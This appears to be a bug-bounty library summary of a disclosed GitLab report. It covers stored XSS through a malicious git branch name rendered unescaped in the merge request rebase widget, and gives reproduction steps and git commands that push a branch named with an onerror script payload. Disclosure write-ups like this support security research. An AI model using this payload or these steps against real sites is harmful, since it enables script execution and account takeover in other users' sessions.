# Stored XSS in merge request pages

Stored XSS via a maliciously named git branch rendered unescaped in the merge request rebase widget, executing JS for viewers lacking push rights.

- Payout: $3,500
- Severity: high
- Program: GitLab
- Found by: mike12
- Disclosed: 2023-05-30
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/723307
- Library page: https://bugbountylibrary.com/r/h1%3A723307
- Tags: area:web domain:web impact:ato impact:data-leak kind:bounty platform:hackerone sev:high technique:source-review vuln:xss

**Target:** GitLab merge request page (mr_widget_rebase.vue Vue component)
**Root cause:** The rebase widget interpolated the target branch name into the DOM without escaping, so a branch name containing HTML/JS executed as markup.
**Steps:**
1. Set project merge method to 'Fast-forward merge' or 'Merge commit with semi-linear history'
2. Push a branch named `<img/src='x'/onerror=alert(document.domain)>` and a commit to master so rebase is required
3. Create a merge request master => `<img/src='x'/onerror=alert(document.domain)>`
4. Visit the MR page as a user without push permission to the source branch (e.g. public project, unauthenticated)
5. Payload fires in the rebase widget
**How found:** Code reading of mr_widget_rebase.vue line 47 revealed the branch name was rendered without escaping; the reporter then reasoned that the widget only shows for users who cannot push, narrowing the trigger conditions.
**Exploitation:** Attacker with push access creates a branch with an XSS payload as its name and opens an MR requiring rebase; any visitor lacking push rights to the source branch loads the MR page and the branch name executes as script in their session.
**Insight:** Branch/tag names are attacker-controlled strings that flow into UI widgets; check Vue templates that interpolate refs/branch names, and note conditional rendering (only shown to non-pushers) can hide the sink from the author's own view.

## Proof of concept (copied exactly from the original report)

**Git commands creating malicious branch name**

```
touch 1.txt
    git add 1.txt
    git commit -m "initial commit"
    git push origin master
    
    git checkout -b "<img/src='x'/onerror=alert(document.domain)>"
    touch 2.txt
    git add 2.txt
    git commit -m "add 2.txt"
    git push origin "<img/src='x'/onerror=alert(document.domain)>"
    
    git checkout master
    touch 3.txt
    git add 3.txt
    git commit -m "add 3.txt"
    git push origin master
```

